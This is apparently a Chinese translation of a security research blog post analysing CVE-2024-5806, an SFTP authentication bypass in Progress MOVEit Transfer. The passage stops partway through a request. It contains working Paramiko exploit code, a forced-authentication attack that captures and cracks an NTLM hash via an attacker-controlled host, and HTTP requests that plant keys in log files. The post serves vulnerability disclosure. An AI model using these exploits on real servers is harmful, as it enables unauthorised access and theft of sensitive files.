【翻译】在(不)受限场景中的身份验证绕过 - Progress MOVEit Transfer(CVE-2024-5806)
翻译:https://labs.watchtowr.com/auth-bypass-in-un-limited-scenarios-progress-moveit-transfer-cve-2024-5806/ 概述 在 2024 年某个月的某天凌晨,watchTowr Labs 收到了一段聊天记录: 13:37 -!- dav1d_bl41ne [def_not_phalanx@kernel

概述
在 2024 年某个月的某天凌晨,watchTowr Labs 收到了一段聊天记录:
13:37 -!- dav1d_bl41ne [def_not_phalanx@kernel.org] has joined #!hack (irc.efnet.nl)
13:37 -!- dav1d_bl41ne changed the topic of #!hack to: mag1c sh0w t1me
13:37 < dav1d_bl41ne> greetings frendz, morning 2 u all
13:37 < dav1d_bl41ne> been sniffing around mail spoolz lately
13:37 < dav1d_bl41ne> vendors now too scared 2 disclose vulnz to the public
13:37 < dav1d_bl41ne> sales teams, pre-sales, all told 2 keep patches secret '4 security reasons'
13:37 < dav1d_bl41ne> very strange, yes?
13:37 < dav1d_bl41ne> but frendz, remember this - when a security company digs into a vuln to protect clients
13:37 < dav1d_bl41ne> publishes their tech analysis
13:37 < dav1d_bl41ne> u really think they the only ones knowing?
13:37 < dav1d_bl41ne> think APT groups in the dark?
13:37 < dav1d_bl41ne> think APT groups are unaware and also not research nday?
13:37 < dav1d_bl41ne> think ransomware gangs can’t read code too?
13:37 < dav1d_bl41ne> Progress, they’ve been sending mails to customers
13:37 < dav1d_bl41ne> talking about patching MOVEit systems
13:37 < dav1d_bl41ne> some auth bypass in SFTP
13:37 < dav1d_bl41ne> funny, right? auth bypass in secure file transfer protocol of secure file transfer solution
13:37 < dav1d_bl41ne> info embargoed until June 25th
13:37 < dav1d_bl41ne> pls respect this.. we not here for madruquz
13:37 < dav1d_bl41ne> MOVEit Transfer ver 2023.0 and newer affected
13:37 < dav1d_bl41ne> MOVEit Gateway 2024.0 and newer also in trouble
13:37 < dav1d_bl41ne> The impact: "An Improper Authentication vulnerability in Progress MOVEit Transfer (SFTP module) can lead to Authentication Bypass in limited scenarios."
13:37 < dav1d_bl41ne> ha ha
13:37 < dav1d_bl41ne> "improper authentication" - w0t authentication?
13:37 < dav1d_bl41ne> "limited scenarios"
13:37 < dav1d_bl41ne> limited like, whole world not yet on Internet?
13:37 < dav1d_bl41ne> anyway, for frendz i give starting points
13:37 < dav1d_bl41ne> unpatched: http://ilike.to/moveit/unpatched.tgz
13:37 < dav1d_bl41ne> patched: http://ilike.to/moveit/patched.tgz
13:37 < dav1d_bl41ne> good luck
这是一种相对不寻常的方式来了解即将发生的漏洞,但无论如何,dav1d 似乎值得信赖——否则我们怎么会知道被禁的漏洞?
背景

今天(2024 年 6 月 25 日),Progress 解禁了 Progress MOVEit Transfer 中的一个身份验证绕过漏洞。
许多系统管理员可能还记得去年的 CVE-2023-34362,这是 Progress MOVEit Transfer 中的一个灾难性漏洞,在业内引起了轩然大波,造成了 BBC 和 FBI 等高调受害者。敏感数据被泄露,敏感数据被销毁,cl0p 勒索软件团伙利用 0day 漏洞窃取数据,最终留下了一片混乱。
这确实是一个全行业的事件,正因为如此,同一产品中的另一个“身份验证不当”漏洞的消息迅速引起了我们的全面关注。
在 watchTowr,我们在这种情况下会立即采取行动,一个保密的供应商建议人们打补丁,通常我们会自行弄清楚漏洞的真实技术性质。
这些工作直接服务于我们的客户,他们能够主动保护自己。
对于那些去年免受灾难影响,并对 Progress MOVEit 毫无所知的管理员来说,有必要做一点介绍。它本质上是一个为大型企业设计的文件共享和协作应用程序。
它允许你的 Windows 服务器以类似于 NAS 设备的方式运行,暴露多种用户传输和管理文件的方式——例如,他们可以使用 SFTP 上传文件,然后通过 HTTPS 共享该文件。该软件显然是为大型企业用途而设计,声称能够无缝集成如 PCI 和 HIPAA 等法规,并自豪地宣称“用户身份验证、交付确认、不可否认性和加固的平台配置”。
正如我们所见且无需证明的那样——这显然是 APT 组织、勒索软件团伙和拥有 1 亿美元比特币的 Telegram 小孩子们的诱人目标。
dav1d_bl41ne 在禁令解除前没有与我们分享很多信息,但很友好地给了我们一个修补和未修补的 Progress MOVEit Transfer 部署——这很有帮助。像往常一样,我们怀着纯粹的天真和能量饮料的支持,毫不畏惧缺乏支持信息——我们决定深入挖掘,而我们发现的确是一个真正奇怪的漏洞。
编者注:这篇博客文章是一个美丽的漏洞和有趣的漏洞利用链的范例。
在开始之前,我们想明确表示以防有人被误导——我们不是该漏洞的原始发现者,我们不声称是,也不想成为。当我们知道时,我们会更新本文以注明来源。
加入我们,再次跳入兔子洞。
初始漏洞
设置 MOVEit Transfer 很简单,虽然它要求我们启动一个 Windows 的“服务器”版本,因为它拒绝在我们的 Windows 10 测试机上运行。
一旦设置好,我们可以配置服务器并添加一个用户账户供我们实验。默认情况下,这个用户可以通过 Web 界面或内置的默认启用的 SFTP 服务器上传和下载文件。
正如你可能知道的,SFTP 是一种类似于旧式 FTP 的文件传输协议,但通过 SSH(安全外壳)进行保护。这意味着 SFTP 具有 SSH 带来的所有好处,例如跨平台支持和多种身份验证选项支持。正如我们上面所见,这也是目标代码中所谓漏洞所在的区域。
为了开始,我们创建了一个新的测试用户,并开始登录并进行一些初步检查。例如,我们检查了 SSH 服务器中通常留下的危险功能(如端口转发),以及 null 身份验证处理程序 none 的存在。没有发现异常,因此我们进行了更深入的检查。
为了更仔细地查看发生了什么,我们将调试器附加到服务器进程(名为 SftpServer)。我们的目的是详细检查代码流,揭示任何缺陷。
在记住供应商关于漏洞影响“有限场景”的建议后,我们尽可能多地覆盖攻击面,使用所有可达功能。这些选项之一是设置 SSH 的“密钥对身份验证”方案——这是一种完全常见(且非常推荐的)安全身份验证方式。
在这种身份验证方法下,系统不会根据用户对简单密码的了解来识别用户,而是使用一些加密魔法来根据公钥和私钥对用户进行身份验证。
在正确配置该方案后,我们进行了登录,调试器输出窗口中立即引起了我们的注意。
正如你想象的那样,调试器输出了一些关于抛出并捕获的异常的简短信息——这些东西不是完全的错误,但足够异常以导致程序流的偏离。
在这些信息中,我们瞥见了服务器代码的操作:
03:05:40.252 Exception thrown: 'System.ArgumentException' in mscorlib.dll
03:05:40.253 Additional information: Illegal characters in path.
这让我们觉得很不寻常。
由于抛出异常是缓慢的,开发人员通常会避免在正常程序流中这么做,仅在一些真正意外的情况下才会这么做。由于我们看到一个异常被抛出并随后被捕获,显然我们必须发现了某个非常不寻常的角落案例,对吗?没有自尊的企业级软件会在每次证书认证尝试时都做这样的事,对吧?!
嗯,你希望如此,但让我们惊讶的是,即使在干净的出厂安装软件中,这种行为仍然存在。仅尝试使用公钥认证(默认配置允许)就足以触发这个异常被抛出并随后被捕获。使用公钥不仅是非常常见的做法,而且安全专家也建议在可能的情况下尽量使用,那么怎么可能这样的瑕疵一直未被发现?
好吧,也许是因为,虽然这对性能有一些影响,但它本身没有安全影响。然而,它确实似乎是一个足够强烈的“代码气味”值得进一步调查,因为它表明在某处发生了一些错误(并随后被纠正)。
我们的调试器向我们展示了生成异常的确切位置。由于代码有些被最小化,调试器输出缺少变量名称等内容,但我们可以看到 Path.GetFullPath 方法正在抛出异常:

我们可以看到它接收了一个字符串,这里命名为 A_0。.NET 文档建议该字符串是一个输入文件路径,.NET 框架将其“规范化”成标准化路径。然而,如果我们检查传入的字符串——这里在底部的‘locals’窗口中显示——我们可以看到它是一些垃圾二进制数据,显然不是一个真实的文件路径!
看到了吗?
我们训练有素的眼睛可以辨认出字符串 ssh-dss,这表明文件路径与SSH密钥交换有关(dss 是使用的密钥类型)。这到底是怎么回事?!这非常出乎意料——在认证过程中,从未经认证的角度来看(即在成功认证之前),我们不期望能够影响服务器上的任何文件 IO 操作。
所有的 SSHD 服务器应该做的只是检查我们提供的认证材料的有效性……
凭直觉,我们将这些二进制数据与我们在认证过程中提供的认证材料进行了比较,惊讶地发现它们是相同的——服务器试图将表示我们认证材料的二进制数据作为文件路径在服务器上打开。有人可能会认为这是非常奇怪的行为——但我们从以前的研究中了解到,有时“奇怪的行为”是“预期的”。
根据 SSH 规范,这甚至不应该是一个有效的文件路径,而只是服务器应该如此处理的二进制密钥数据。
这个 SSH 公钥是由客户端提供的,作为认证过程的一部分,并在认证完成之前进行处理。这意味着它在没有提供任何凭证的情况下就已经在攻击者的控制之下!
我们想知道,如果我们提供一个有效的文件路径而不是 SSH 公钥本身会发生什么?我们提供了文件名 myfile,并在服务器上运行了“进程监视器”工具,看看它是如何反应的。

哦,天哪,这种疯狂不仅仅停留在 Path.GetFullPath!我们指定的文件路径实际上正在被服务器访问。
从安全角度来看,从未经身份验证的上下文中访问任意文件是一种危险行为,无论实际上对这些文件做了什么。即使不深入研究服务器如何使用这些数据,这种行为也会带来广泛的安全后果。
为那些比较急躁的读者透露一个剧透——最终,这个漏洞允许我们在服务器上冒充任何我们想要的用户!然而,在我们解释这是如何实现的之前,有必要了解另一种(相对不那么严重的)攻击方式,这种攻击也是由这种奇怪的行为引发的。这就是强制认证的可能性。
攻击 1:强制认证
任何有点本事的攻击者在看到这些内容时可能都会兴奋不已,想着各种滥用我们新发现的预认证服务器端行为的方法。
他们的第一个本能反应可能是执行所谓的强制认证攻击,在这种攻击中,我们提供一个基于 IP 地址的 UNC 路径,指向一个位于恶意 SMB 服务器上的文件(例如,\192.168.1.1\myfile)。目标服务器将尝试连接到恶意 SMB 服务器,后者将请求目标服务器进行自我认证。由于我们提供了 IP 地址,而不是域名,更安全的 “Kerberos” 协议无法用于进行此认证,目标服务器将退回使用较旧的、不太安全的 “Net-NTLMv2” 协议。这个协议有些过时,并且存在一些漏洞。
这是一个众所周知的、教科书式的攻击,成熟的项目 Responder 会为我们完成所有的工作。我们需要做的就是在攻击者控制的主机上运行它以接收连接,然后将带有 SMB/WebDAV 暴露的 UNC 路径而不是公钥传递给服务器。服务器将尝试打开 UNC 路径,连接到 Responder,尝试协商认证,并随后向我们提供重要的 Net-NTLMv2 哈希值。
如我们之前提到的,然而,发送这样的文件路径而不是公钥违反了 SSH 规范,因此没有任何现成的 SSH 库会允许我们这样做。为了进行这种病态的操作,我们需要修改一个 SSH 库的代码。在这个案例中,我们选择了Paramiko Python 库。
对 Paramiko 进行身份验证方式的分析表明,密钥交换代码使用了_get_key_type_and_bits函数。这个函数负责返回发送到服务器的作为公钥的二进制数据块(以及密钥类型)。
def _get_key_type_and_bits(self, key):
if key.public_blob:
return key.public_blob.key_type, key.public_blob.key_blob
else:
return key.get_name(), key
这似乎是注入我们文件路径的完美位置。我们将重新定义这个函数,使其返回我们控制的文件路径,而不是返回一个密钥 blob(在这里我们使用 C:\testkey.pem 作为示例)。
payload = "C:\\\\testkey.pem"
def _get_key_type_and_bits(self, key):
if key.public_blob:
return key.public_blob.key_type, payload
else:
return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits
然后,我们将编写一些样板代码来连接并进行身份验证。
# Open the transport, ready for us to authenticate
transport = paramiko.Transport(([IP of server], 22))
# And attempt to authenticate using a new keypair.
prvkey = paramiko.dsskey.DSSKey.generate(1024)
transport.connect(None, username = 'test', pkey=prvkey)
你可能会注意到,我们仍然需要提供一个私钥,即使由于我们的修改,我们实际上并没有将该密钥发送到服务器。这是因为发送给服务器的身份验证请求必须签名(更多细节将在我们更深入地了解协议的身份验证过程时讨论)。
让我们看看这个攻击是否可行。我们在恶意主机上启动 Responder 套件,并将我们的修改过的客户端库设置为使用路径 \attacker.watchtowr.com\somefile。然后我们尝试进行身份验证。
MOVEit 确实连接到我们的恶意服务器,攻击如预期般奏效。Responder 捕获到 moveitsvc 服务账户的 NetNTLM 哈希,这是 SFTP 服务器运行的账户:
[SMB] NTLMv2-SSP Client : 192.168.70.48
[SMB] NTLMv2-SSP Username : WIN-RBNN52OCP49\\moveitsvc
[SMB] NTLMv2-SSP Hash : moveitsvc::WIN-RBNN52OCP49:b841031a8e77e3a6:2B1789A107577E59D576D13397608F8C:010100000000000000505D56E4BDDA01F8E9F755EE211580000000000200080053004E003900300001001E00570049004E002D0052004B0052004900320056004F00310051003500390004003400570049004E002D0052004B0052004900320056004F0031005100350039002E0053004E00390030002E004C004F00430041004C000300140053004E00390030002E004C004F00430041004C000500140053004E00390030002E004C004F00430041004C000700080000505D56E4BDDA01060004000200000008003000300000000000000000000000003000001A760C83CAEA4E9CE717192F423D3CE38EAAD8904C73A4AAD3B8EA8194C971150A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00370030002E0031003600000000000000000000000000
这个哈希值可以通过 hashcat 进行暴力破解(或者,正如我们为了演示目的选择的那样,通过字典攻击)。
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MOVEITSVC::WIN-RBNN52OCP49:b841031a8e77e3a6:2b1789a...000000
..
Recovered........: 1/1 (100.00%) Digests
Candidates.#1....: yDWNqb7yjGtx -> yDWNqb7yjGtx
我们得到了服务密码:yDWNqb7yjGtx。
虽然这是一个引人注目的演示,但实际上由于 MOVEit 的加固和权限分离,这在实用性上有一定的局限性。
正如我们在最初的 Responder 输出中所看到的那样,我们获得的哈希特定于用户帐户 moveitsvc,即 MOVEit 服务帐户。我们希望负责的系统管理员不会允许 MOVEit 服务帐户远程登录,并且理想情况下他们已经限制了 SMB 流量的范围,从而缓解了攻击。
或者更糟糕的是,使用了一个加入域的帐户……
或者更糟糕的是,一个有特权的加入域的帐户……
我们希望……
请……
然而,在继续之前,有一点需要注意——为了访问 UNC 路径,我们必须向系统提供一个有效的用户名。这对攻击者来说是一个障碍,但也有一个副作用,那就是让我们可以通过“字典列表”方法来检查用户名是否有效。
然而,还有第二种(且更具毁灭性的)攻击是可能的。让我们继续研究。
攻击 2:假冒任意用户身份
上文中,我们已经概述了一种简单的——预身份验证——攻击,坦率地说,我们所做的只是向服务器提供一个文件路径,该服务器会尝试读取该文件。到目前为止,我们甚至不知道服务器在对我们可以操控 SSHD 服务器读取的文件路径做什么——但我们知道 Progress 描述这个漏洞允许“身份验证绕过”。
为了深入研究,我们需要确切了解服务器对我们可以操控 SSHD 服务器读取的文件路径做了什么。
首先,让我们分享一些关于 SSH 身份验证阶段的背景知识,在此之上 SFTP 协议运行(有关详细信息,SSH RFC,RFC 4252,出奇地易读)。
SSH 身份验证非常灵活(正如 Progress 慢慢证明的那样)。
在与服务器协商连接并验证服务器身份后,客户端可以以各种形式发送身份验证请求(例如密码或通过密钥对)。在每次身份验证尝试后,服务器会做出响应,可以接受或拒绝尝试,或者请求额外的身份验证——例如,服务器可能要求同时提供已注册的公钥对和密码。
请注意,如果身份验证尝试失败,连接不会关闭,而是保持打开状态,此时客户端可以发送后续的身份验证尝试。
虽然“密码”身份验证类型是不言自明的,但密钥对身份验证机制需要一些解释。
该方案使用一对文件,公共部分和私人部分,以证明用户对服务器的身份。通过某种先前的设置机制将公共部分部署到服务器上,并将私人部分保密地保留在客户端上。当需要进行身份验证时,客户端将向服务器发送包含请求的用户名和公钥的身份验证请求。然后它将使用私人部分对其进行签名,并将整个请求发送到服务器。
服务器必须验证两个关键的东西——首先,签名是正确的;其次,提供的密钥是尝试登录的用户的有效密钥(即用户先前已将公钥添加到其帐户中)。
最终,一旦服务器确信用户确实是他们所说的人,它会通知客户端此信息,并继续到下一阶段,授予访问权限(因此在这种情况下,可以访问文件)。
这是一个复杂的过程,因此 MOVEit 开发人员选择使用第三方库来处理(以及所有其他低级别的 SSH 功能)。
所使用的库是 IPWorks SSH,这是一个中等流行的商业产品,通过 Nuget 包管理器每天平均下载量为33次。MOVEit 实现了一些额外的功能来扩展该库。
例如,MOVEit 允许用户将授权密钥存储在数据库中,而不是文件中,并提供相应的代码来处理。
MOVEit 将“繁重的工作”留给 IPWorks 库,并仅实现其需要的扩展功能(正如你所期望的那样)。由于用户管理由 MOVEit 处理,它扩展了身份验证以检查其内部数据库中的授权。
通过反编译工具查看代码,我们可以找到 MOVEit 用于检查是否允许身份验证请求的代码。
这是一个适当地命名为 Authenticate 方法,部分内容在此为了简洁起见进行了再现:
public AuthenticationResult Authenticate(SILUser user)
{
if (string.IsNullOrEmpty(this._publicKeyFingerprint) && !this._keyAlreadyAuthenticated)
{
this._logger.Error("Attempted to authenticate empty public key fingerprint");
return AuthenticationResult.Denied;
}
if (string.IsNullOrEmpty(user.ID))
{
this._logger.Debug("No user ID provided for public key authentication");
return AuthenticationResult.Denied;
}
if (this._signatureIsValid != null && !this._signatureIsValid.Value)
{
this._logger.Error("Signature validation failed for provided public key");
this.StatusCode = 2414;
this.StatusDescription = "Signature validation failed for provided public key";
return AuthenticationResult.Denied;
}
...
正如你所见,该方法返回一个 AuthenticationResult,用于指定身份验证的结果,并且还设置了一个 StatusCode,以指定失败的详细信息。
它检查公钥是否有效且不为空,如果无效则拒绝请求,并且还检查提供的用户名是否有效,如果无效也会拒绝尝试。接着它检查身份验证请求的签名,如果签名无效则拒绝身份验证,并将 StatusCode 设置为一个值以表示这种情况。
然而,这段代码中有一件事很有趣。注意到有些代码段在通过返回代码指示身份验证结果的同时还设置了 StatusCode,而其他代码段(如前两个)将返回 AuthenticationResult.Denied并将 StatusCode 保持为默认值零。
乍一看,这似乎并无趣,因为函数正确地拒绝了身份验证,尽管没有提供任何理由。然而,对调用这个 Authenticate 函数的代码进行分析,却将它描绘成了一个完全不同的情形。
这是因为,在代码的其他地方,这种“AuthenticationResult.Denied 但 StatusCode 设置为零”的组合实际上用来表示一种完全不同的情况——公钥验证和正确,但需要额外的身份验证步骤(例如,需要额外的密码)。我们可以通过检查这个函数来看到这一点,它向系统日志添加了一条发人深省的信息:
if (globals.objUser.ErrorCode == 0)
{
this._logger.LogMessage(LogLev.MoreDebug, validationOnly ? "Client key validation successful but password is also required" : "Client key authentication successful but password is also required");
return AuthenticationResult.Indeterminate;
}
这就导致了一个结果,即如果我们能触发前两个错误处理程序中的任意一个,我们也会触发这段额外的代码——尽管我们没有提供有效的密钥。但是我们该如何做到这一点呢?
这就是我们最初观察到的漏洞情况变得有用的地方。
正如我们之前所述,将文件路径传递给服务器而不是公钥将导致服务器从该文件加载密钥。这一步由IPWorks SSH执行。然而,出于某种我们只能推测的原因,IPWorks 在加载密钥时不会将公钥传递给 MOVEit。相反,在这种情况下,IPWorks 简单地传递空字符串 "" 而不是公钥。
由于传递空字符串给 Authenticate 方法,检查 string.IsNullOrEmpty(this._publicKeyFingerprint) 将通过,触发有缺陷的代码路径。Authenticate 方法将返回 Denied 的状态,但不会设置 StatusCode,这一状态将保持为零。调用者随后会将此视为需要额外的身份验证。
当然,要达到检查密钥并调用 Authenticate 方法的阶段,我们必须满足一些额外的约束条件:
首先,我们必须向服务器提供有效的用户名,
其次,身份验证数据包必须通过服务器强制执行的签名检查。
这意味着我们必须使用我们在服务器端指定路径的私钥的私半部分对身份验证请求进行签名。然后,服务器能够使用在其文件系统上找到的密钥来验证身份验证数据包。
对身份验证请求进行签名对我们来说很容易,因为我们可以使用我们拥有的密钥,但这还需要服务器需要有公钥以便验证指纹并验证其正确性。
为了简单地解释,我们假设我们有足够的权限上传我们自己的公钥到服务器上。鉴于 MOVEit 的多用户特性,这并不牵强。
此外,一旦我们完成了对漏洞这部分的解释,我们将继续消除这个限制,有多种技术可以实现这一点。
以下是我们刚刚找出的内容的快速总结:
我们假设我们可以上传一个公钥到服务器的文件系统中。
如果我们尝试进行身份验证,但是提供的是文件名而不是公钥,那么 IPWorks SSH 将会在服务器上读取该文件,并使用它来验证身份验证请求。
然后,IPWorks SSH 将身份验证交给 MOVEit 的 Authenticate 方法,并传递空字符串("")而不是指纹。
Authenticate 方法将进入一个有缺陷的代码路径,使我们能够继续进行身份验证,尽管本应该失败。
这些都是理论进展,没有太多实际验证,让我们通过实际操作来验证一下吧!
首先,我们生成一个密钥对,并将公钥放置在服务器上的 C:\testkey.pem。
其次,我们发送一个身份验证请求,提供路径 C:\testkey.pem 而不是我们的密钥。我们还确保使用相同的密钥对数据包进行签名。
在执行此操作时,我们看到了 MOVEit 生成的一系列有趣的日志消息,这显然表明身份验证链中出现了一些问题:
UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint
SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
UserAuthRequestHandler: Client key validation successful but password is also required
这是自相矛盾的——第一条消息告诉我们尝试使用空公钥进行身份验证,因此身份验证被明确拒绝。然而,第二条消息告诉我们密钥验证成功。
这与我们的预期一致——Authenticate 方法拒绝了我们的密钥,但是 Authenticate 的调用者错误地认为密钥已被接受。
基于这种信念,随后允许用户继续进行身份验证。身份验证被评估为不确定,就像我们提供了有效的密钥但服务器需要进一步证明身份一样。
值得注意的是,用户随后被标记为通过公钥正确进行了身份验证:
switch (authResult)
{
...
case AuthenticationResult.Indeterminate:
userAuthResult.AuthResult = AuthResult.PartialSuccess;
userAuthResult.AvailableAuthMethods = new string[] { "password" };
authContext.Session.HasAuthenticatedByPublicKey = true;
authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;
return userAuthResult;
...
所以,总结一下,我们提供了一个空的私钥文件,并错误地被标记为部分验证通过。随后,服务器提示我们输入密码来完成身份验证。
这显然是一个错误的情况,但乍一看似乎是无害的。毕竟,我们并没有完全通过身份验证。我们不知道用户的密码,所以无法完成身份验证。没有危害,对吧?
不,事实并非如此。这里实际上存在另一个关键的边界情况。
如上所示,HasAuthenticatedByPublicKey 值已设置为true,而 LastPublicKeyFingerprint设置为用户已经验证过的指纹(在本例中是空长度的字符串)。这个值通常由 MOVEit 使用,以避免重复验证相同的签名,因为验证它在计算上是昂贵的。这可以看作是一种缓存机制。通常情况下,LastPublicKeyFingerprint 值会设置为密钥的指纹,但因为我们发送的数据包包含路径而不是密钥本身,所以它被设置为空长度字符串 ""。
这导致 MOVEit 认为公钥认证已成功,并且额外地,空长度字符串的公钥指纹被认为是有效且授权给了特定用户。
现在,由于服务器没有拒绝我们的身份验证,身份验证过程继续进行,使用同样的空长度字符串作为公钥。然而,这一次,在 MOVEit 尝试验证密钥之前,它会注意到该密钥已经被验证过并且被确认为正确:
UserAuthRequestHandler: Client key fingerprint already authenticated for user user2; continuing with user authentication process
请注意“指纹”和“已经”之间的两个空格 - 这是正常情况下打印指纹本身的地方。在这种情况下,指纹是空长度字符串 “”。
然后,服务器将尝试继续身份验证过程,使用它认为是有效的公钥(实际上是空长度字符串)。Authenticate 被再次调用,这一次,它发现 _keyAlreadyAuthenticated 为 true。这导致它跳过了我们之前遇到的空长度检查。所有其他测试通过,我们最终返回 AuthenticationResult.Authenticated。这在系统日志中被视为成功的身份验证:
SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
这种攻击的最终结果是,尽管仅提供了空长度字符串作为公钥,用户仍然成功地进行了身份验证。
这是一个毁灭性的攻击 - 它允许任何能够在服务器上放置公钥的人,假冒任何 SFTP 用户的身份。从这里开始,该用户可以进行所有常规操作 - 读取、写入或删除文件,或者其他可能引发混乱的操作。
从技术上讲,这是一个相对复杂的解释,实际的利用却非常简单。我们只需要按照几个简单的步骤操作:
将一个公钥上传到服务器上。
进行身份验证。不要提供有效的公钥进行身份验证,而是发送公钥在服务器上的文件路径。使用之前上传的同一密钥对身份验证请求进行签名,如常规操作。
服务器将接受该密钥,并且登录将成功。现在,我们可以访问任何我们喜欢的目标文件,就像我们是指定的用户名一样。
对于那些更喜欢阅读代码的人,这里是一个执行这些步骤的脚本:
import logging
import paramiko
import requests
from paramiko.auth_handler import AuthHandler
username = '<target user>'
pemfile = 'key.pem'
host, port = "<target hostname>", 22
# Patch this function in Paramiko in order to inject our payload instead of the SSH key
def _get_key_type_and_bits(_, key):
payload = "C:\\\\testkey.pem" # Target file path on the server
if key.public_blob:
return key.public_blob.key_type, payload
else:
return key.get_name(), payload
AuthHandler._get_key_type_and_bits = _get_key_type_and_bits
# Connect the SFTP session.
transport = paramiko.Transport((host, port))
transport.connect(None, username, pkey=paramiko.dsskey.DSSKey.from_private_key_file(pemfile))
# Just to show things have worked, show the contents of the user's home directory.
sftp = paramiko.SFTPClient.from_transport(transport)
print(f"Listing files in home directory of user {username}:\\r\\n")
for fileInfo in sftp.listdir_attr('.'):
print(fileInfo.longname)
正如我们预期的那样,输出是目标用户主目录中的文件列表。
(venv) c:\\code\\moveit>python ssh.py
Listing files in home directory of user user2:
-rw-rw-rw- 1 0 0 31.9M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0 304 Jun 17 17:29 passwords.txt
Ruh-roh!我们已经展示了成功以这个用户的身份进行了认证。从这里开始,我们可以执行任何该用户可以执行的操作 - 包括读取、修改和删除以前受保护且可能包含敏感数据的数据。
所以,这很棒!我们找到了一种方法让一个有效用户冒充系统上的任何其他用户,但这需要他们能够上传一个公钥文件才能起作用。
预备条件很烦人,只适合专业的渗透测试人员。我们承诺要解释如何绕过这个要求,所以让我们继续。

无文件攻击(Fileless Exploitation)
这是一个令人担忧的漏洞和攻击,考虑到MOVEit的威胁模型。
鉴于软件的目的是共享文件,攻击者必须能够上传文件的要求设置得很低 - 但仍然存在一个门槛。
但是,我们可以做得更好。让我们看看如何去掉这个要求。
首先,有一个显而易见的可能性 - 我们可以将公钥文件托管在远程服务器上,并提供一个UNC路径给它。
服务器将直接从网络加载它。我们假设运行MOVEit的任何管理员都已经通过防火墙或类似方式正确限制了出站的SMB流量(如果还没有的话,你绝对应该)(哈哈,你做到了吧?告诉我们你做到了?)
但我们可以做得更好。
在这一点上,我们从SFTP组件的思维上移开,并花了一些时间寻找一种从主MOVEit Web应用程序获取文件上传原语的方法。任何形式的匿名文件上传都足够好,只要我们能满足两个条件:
首先,我们必须能够上传一个有效的SSH公钥,而不需要任何身份验证/合法访问主机,
其次,文件的路径必须是可预测的,以便我们可以在SSH认证过程中可预测地提供它。
不幸的是,我们并没有立即找到满足这些条件的解决方案。
然而,经过对问题的深思熟虑后,我们最终达到了顿悟。
我们意识到,到目前为止,我们的行动已经导致数据被写入了服务器上一个可预测的文件路径!你能推测出我们隐晦指的机制是什么吗?
是的!没错!系统日志文件!
它们在磁盘上有一个可预测的位置,当我们从服务器请求任何内容时,都可以导致数据被写入它们。如果我们在HTTP请求中提供我们的公钥,它将被写入日志文件,然后我们可以在我们的SSH认证请求中指定日志文件的路径!

有许多方法可以诱导 MOVEit 服务器记录我们提供的数据。最简单的方法是尝试登录,这将导致提供的用户名输入到系统日志中:
SILUser.ExecuteAuthenticators: User 'Sina' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain
我们可以通过 HTTP 接口提供公钥而不是用户名:
POST /human.aspx HTTP/1.1
Host: {{host}}
Content-Length: 1480
transaction=signon&fromsignon=1&InstID=8294&Username=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "watchtowr@watchtowr.com"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
AzY4ofp+AFdG4m064RsTi2GBR7Tr1WiQmCywPcv6SKBi5roxPCi3x1aotjQnd6JN
Pw==
---- END SSH2 PUBLIC KEY ----
&Password=a
这确实会导致密钥被添加到系统日志中:
SILUser.ExecuteAuthenticators: User '
---- begin ssh2 public key ----
comment: "watchtowr@watchtowr.com"
aaaab3nzac1kc3maaacbairasiu1tvkrhimlwuv9/ohnhwhpjndox17quepjbacq
...
azy4ofp+afdg4m064rsti2gbr7tr1wiqmcywpcv6skbi5roxpci3x1aotjqnd6jn
pw==
---- end ssh2 public key ----
' was denied authentication with authenticator: MOVEit Internal User Store Authenticator; ceasing authentication chain
这一开始看起来非常有前景。
我们已经将我们的SSH公钥插入了系统日志文件中,而且我们可以利用之前提到的让SSH服务器在认证过程中读取任何文件的漏洞来指定这个系统日志文件包含我们的SSH公钥。
然而,令我们失望的是,这种方法没有奏效 - 服务器简单地拒绝了我们的登录请求,并记录了一条条目,表示无法加载私钥内容:
Status message from server: SSH handshake failed: The certificate store could not be opened.
好吧,事实证明服务器发现这种情况不可接受有两个不同的原因。
首先,密钥数据位于文件的中间,而不是文件的开头。
当MOVEit尝试从文件加载密钥时,它不会跳过额外的数据,如果文件不以SSH密钥签名——"---- BEGIN SSH2 PUBLIC KEY"——开头,加载过程将被中止,密钥也不会被加载。
其次,即使我们能满足上述条件,还存在进一步的问题。
仔细观察日志文件,您可能会注意到密钥数据已经被转换为小写。这导致文件签名不正确,因为它必须是大写,并且Base64解码密钥数据失败,因为Base64对大小写敏感。
有些失望的是,我们寻找了一个能够在文件开头记录任意数据而不修改它的端点。这是一个非常具体的要求,尽管我们四处寻找,但并没有找到可以满足这一要求的方法。
我们搜索到的最接近的是MOVEit.DMZ.WebApp.SILGuestAccess.GetHTML方法,它似乎以更干净的方式记录不受信任的数据。稍作逆向工程,我们发现在端点/guestaccess.aspx中,参数Arg12被传递到记录函数而没有任何修改。
我们向该端点执行了一个POST请求,指定了事务参数为signoff,并在Arg12参数中放置了我们的密钥。
POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
transaction=signoff&Arg12=
---- BEGIN SSH2 PUBLIC KEY ----
Comment: "watchtowr@watchtowr.com"
AAAAB3NzaC1kc3MAAACBAIrAsIu1tvkRHImLwuv9/OhnHwhPjndOX17quEPJBAcq
...
